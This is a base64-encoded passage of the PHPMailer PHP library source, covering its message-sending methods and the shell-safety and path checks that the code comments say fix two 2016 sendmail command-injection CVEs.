cnRhbnQ6IEFkZHJlc3MgbXVzdCBiZSBwYXNzZWQgaW4gc2FtZSBlbmNvZGluZyBhcyBjdXJyZW50bHkgc2V0IGluIFBIUE1haWxlcjo6JENoYXJTZXQuDQogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoNCiAgICAgKiAtIE5vIGNvbnZlcnNpb24gaXMgbmVjZXNzYXJ5IChpLmUuIGRvbWFpbiBuYW1lIGlzIG5vdCBhbiBJRE4sIG9yIGlzIGFscmVhZHkgaW4gQVNDSUkgZm9ybSkNCiAgICAgKiAtIENvbnZlcnNpb24gdG8gcHVueWNvZGUgaXMgaW1wb3NzaWJsZSAoZS5nLiByZXF1aXJlZCBQSFAgZnVuY3Rpb25zIGFyZSBub3QgYXZhaWxhYmxlKQ0KICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikNCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JENoYXJTZXQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNvbnZlcnQNCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcHVueWVuY29kZUFkZHJlc3MoJGFkZHJlc3MpDQogICAgew0KICAgICAgICAvLyBWZXJpZnkgd2UgaGF2ZSByZXF1aXJlZCBmdW5jdGlvbnMsIENoYXJTZXQsIGFuZCBhdC1zaWduLg0KICAgICAgICBpZiAoJHRoaXMtPmlkblN1cHBvcnRlZCgpIGFuZA0KICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQNCiAgICAgICAgICAgICgkcG9zID0gc3RycnBvcygkYWRkcmVzcywgJ0AnKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkZG9tYWluID0gc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpOw0KICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0Lg0KICAgICAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoJGRvbWFpbikgYW5kIEBtYl9jaGVja19lbmNvZGluZygkZG9tYWluLCAkdGhpcy0+Q2hhclNldCkpIHsNCiAgICAgICAgICAgICAgICAkZG9tYWluID0gbWJfY29udmVydF9lbmNvZGluZygkZG9tYWluLCAnVVRGLTgnLCAkdGhpcy0+Q2hhclNldCk7DQogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8NCiAgICAgICAgICAgICAgICAgICAgaWRuX3RvX2FzY2lpKCRkb21haW4sIDAsIElOVExfSUROQV9WQVJJQU5UX1VUUzQ2KSA6DQogICAgICAgICAgICAgICAgICAgIGlkbl90b19hc2NpaSgkZG9tYWluKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGFkZHJlc3M7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ3JlYXRlIGEgbWVzc2FnZSBhbmQgc2VuZCBpdC4NCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4NCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbg0KICAgICAqIEByZXR1cm4gYm9vbGVhbiBmYWxzZSBvbiBlcnJvciAtIFNlZSB0aGUgRXJyb3JJbmZvIHByb3BlcnR5IGZvciBkZXRhaWxzIG9mIHRoZSBlcnJvci4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZCgpDQogICAgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgaWYgKCEkdGhpcy0+cHJlU2VuZCgpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5wb3N0U2VuZCgpOw0KICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4Yykgew0KICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsNCiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFByZXBhcmUgYSBtZXNzYWdlIGZvciBzZW5kaW5nLg0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHByZVNlbmQoKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICR0aGlzLT5lcnJvcl9jb3VudCA9IDA7IC8vIFJlc2V0IGVycm9ycw0KICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsNCg0KICAgICAgICAgICAgLy8gRGVxdWV1ZSByZWNpcGllbnQgYW5kIFJlcGx5LVRvIGFkZHJlc3NlcyB3aXRoIElETg0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgew0KICAgICAgICAgICAgICAgICRwYXJhbXNbMV0gPSAkdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHBhcmFtc1sxXSk7DQogICAgICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmNfYXJyYXkoYXJyYXkoJHRoaXMsICdhZGRBbkFkZHJlc3MnKSwgJHBhcmFtcyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoKGNvdW50KCR0aGlzLT50bykgKyBjb3VudCgkdGhpcy0+Y2MpICsgY291bnQoJHRoaXMtPmJjYykpIDwgMSkgew0KICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3Byb3ZpZGVfYWRkcmVzcycpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gVmFsaWRhdGUgRnJvbSwgU2VuZGVyLCBhbmQgQ29uZmlybVJlYWRpbmdUbyBhZGRyZXNzZXMNCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgew0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gdHJpbSgkdGhpcy0+JGFkZHJlc3Nfa2luZCk7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT4kYWRkcmVzc19raW5kKSkgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSAkdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHRoaXMtPiRhZGRyZXNzX2tpbmQpOw0KICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAnIChwdW55RW5jb2RlKSAnIC4gJHRoaXMtPiRhZGRyZXNzX2tpbmQ7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFNldCB3aGV0aGVyIHRoZSBtZXNzYWdlIGlzIG11bHRpcGFydC9hbHRlcm5hdGl2ZQ0KICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gJ211bHRpcGFydC9hbHRlcm5hdGl2ZSc7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5zZXRNZXNzYWdlVHlwZSgpOw0KICAgICAgICAgICAgLy8gUmVmdXNlIHRvIHNlbmQgYW4gZW1wdHkgbWVzc2FnZSB1bmxlc3Mgd2UgYXJlIHNwZWNpZmljYWxseSBhbGxvd2luZyBpdA0KICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZW1wdHlfbWVzc2FnZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gQ3JlYXRlIGJvZHkgYmVmb3JlIGhlYWRlcnMgaW4gY2FzZSBib2R5IG1ha2VzIGNoYW5nZXMgdG8gaGVhZGVycyAoZS5nLiBhbHRlcmluZyB0cmFuc2ZlciBlbmNvZGluZykNCiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJyc7DQogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOw0KICAgICAgICAgICAgLy8gY3JlYXRlQm9keSBtYXkgaGF2ZSBhZGRlZCBzb21lIGhlYWRlcnMsIHNvIHJldGFpbiB0aGVtDQogICAgICAgICAgICAkdGVtcGhlYWRlcnMgPSAkdGhpcy0+TUlNRUhlYWRlcjsNCiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOw0KICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgLj0gJHRlbXBoZWFkZXJzOw0KDQogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUNCiAgICAgICAgICAgIC8vIGFuIGV4dHJhIGhlYWRlciBsaXN0IHdoaWNoIGNyZWF0ZUhlYWRlcigpIGRvZXNuJ3QgZm9sZCBpbg0KICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ21haWwnKSB7DQogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+aGVhZGVyTGluZSgNCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIodHJpbSgkdGhpcy0+U3ViamVjdCkpKQ0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFNpZ24gd2l0aCBES0lNIGlmIGVuYWJsZWQNCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQ0KICAgICAgICAgICAgICAgIGFuZCAhZW1wdHkoJHRoaXMtPkRLSU1fc2VsZWN0b3IpDQogICAgICAgICAgICAgICAgYW5kICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZV9zdHJpbmcpDQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuZCBzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHRoaXMtPkRLSU1fcHJpdmF0ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuZCBmaWxlX2V4aXN0cygkdGhpcy0+REtJTV9wcml2YXRlKQ0KICAgICAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKSB7DQogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSwNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5DQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9IHJ0cmltKCR0aGlzLT5NSU1FSGVhZGVyLCAiXHJcbiAiKSAuIHNlbGY6OkNSTEYgLg0KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7DQogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgew0KICAgICAgICAgICAgICAgIHRocm93ICRleGM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBY3R1YWxseSBzZW5kIGEgbWVzc2FnZS4NCiAgICAgKiBTZW5kIHRoZSBlbWFpbCB2aWEgdGhlIHNlbGVjdGVkIG1lY2hhbmlzbQ0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0DQogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT5NYWlsZXIpIHsNCiAgICAgICAgICAgICAgICBjYXNlICdzZW5kbWFpbCc6DQogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRtYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsNCiAgICAgICAgICAgICAgICBjYXNlICdzbXRwJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsNCiAgICAgICAgICAgICAgICBjYXNlICdtYWlsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsNCiAgICAgICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICAgICAkc2VuZE1ldGhvZCA9ICR0aGlzLT5NYWlsZXIuJ1NlbmQnOw0KICAgICAgICAgICAgICAgICAgICBpZiAobWV0aG9kX2V4aXN0cygkdGhpcywgJHNlbmRNZXRob2QpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsNCiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOw0KICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2VuZCBtYWlsIHVzaW5nIHRoZSAkU2VuZG1haWwgcHJvZ3JhbS4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQ0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU2VuZG1haWwNCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbg0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkNCiAgICB7DQogICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4NCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsNCiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLWYlcyc7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyAtb2kgLWYlcyAtdCc7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAncW1haWwnKSB7DQogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzJzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtdCc7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBUT0RPOiBJZiBwb3NzaWJsZSwgdGhpcyBzaG91bGQgYmUgY2hhbmdlZCB0byBlc2NhcGVzaGVsbGFyZy4gIE5lZWRzIHRob3JvdWdoIHRlc3RpbmcuDQogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPlNpbmdsZVRvKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7DQogICAgICAgICAgICAgICAgaWYgKCFAJG1haWwgPSBwb3Blbigkc2VuZG1haWwsICd3JykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICdUbzogJyAuICR0b0FkZHIgLiAiXG4iKTsNCiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJGhlYWRlcik7DQogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gcGNsb3NlKCRtYWlsKTsNCiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygNCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksDQogICAgICAgICAgICAgICAgICAgIGFycmF5KCR0b0FkZHIpLA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5TdWJqZWN0LA0KICAgICAgICAgICAgICAgICAgICAkYm9keSwNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20NCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgew0KICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmcHV0cygkbWFpbCwgJGhlYWRlcik7DQogICAgICAgICAgICBmcHV0cygkbWFpbCwgJGJvZHkpOw0KICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7DQogICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygNCiAgICAgICAgICAgICAgICAoJHJlc3VsdCA9PSAwKSwNCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sDQogICAgICAgICAgICAgICAgJHRoaXMtPmNjLA0KICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsDQogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsDQogICAgICAgICAgICAgICAgJGJvZHksDQogICAgICAgICAgICAgICAgJHRoaXMtPkZyb20NCiAgICAgICAgICAgICk7DQogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLg0KICAgICAqDQogICAgICogTm90ZSB0aGF0IGVzY2FwZXNoZWxsYXJnIGFuZCBlc2NhcGVzaGVsbGNtZCBhcmUgaW5hZGVxdWF0ZSBmb3Igb3VyIHB1cnBvc2VzLCBlc3BlY2lhbGx5IG9uIFdpbmRvd3MuDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkDQogICAgICogQHNlZSBodHRwczovL2dpdGh1Yi5jb20vUEhQTWFpbGVyL1BIUE1haWxlci9pc3N1ZXMvOTI0IENWRS0yMDE2LTEwMDQ1IGJ1ZyByZXBvcnQNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNTaGVsbFNhZmUoJHN0cmluZykNCiAgICB7DQogICAgICAgIC8vIEZ1dHVyZS1wcm9vZg0KICAgICAgICBpZiAoZXNjYXBlc2hlbGxjbWQoJHN0cmluZykgIT09ICRzdHJpbmcNCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQ0KICAgICAgICApIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KDQogICAgICAgICRsZW5ndGggPSBzdHJsZW4oJHN0cmluZyk7DQoNCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgew0KICAgICAgICAgICAgJGMgPSAkc3RyaW5nWyRpXTsNCg0KICAgICAgICAgICAgLy8gQWxsIG90aGVyIGNoYXJhY3RlcnMgaGF2ZSBhIHNwZWNpYWwgbWVhbmluZyBpbiBhdCBsZWFzdCBvbmUgY29tbW9uIHNoZWxsLCBpbmNsdWRpbmcgPSBhbmQgKy4NCiAgICAgICAgICAgIC8vIEZ1bGwgc3RvcCAoLikgaGFzIGEgc3BlY2lhbCBtZWFuaW5nIGluIGNtZC5leGUsIGJ1dCBpdHMgaW1wYWN0IHNob3VsZCBiZSBuZWdsaWdpYmxlIGhlcmUuDQogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLg0KICAgICAgICAgICAgaWYgKCFjdHlwZV9hbG51bSgkYykgJiYgc3RycG9zKCdAXy0uJywgJGMpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENoZWNrIHdoZXRoZXIgYSBmaWxlIHBhdGggaXMgb2YgYSBwZXJtaXR0ZWQgdHlwZS4NCiAgICAgKiBVc2VkIHRvIHJlamVjdCBVUkxzIGFuZCBwaGFyIGZpbGVzIGZyb20gZnVuY3Rpb25zIHRoYXQgYWNjZXNzIGxvY2FsIGZpbGUgcGF0aHMsDQogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50Lg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggQSByZWxhdGl2ZSBvciBhYnNvbHV0ZSBwYXRoIHRvIGEgZmlsZS4NCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzUGVybWl0dGVkUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdG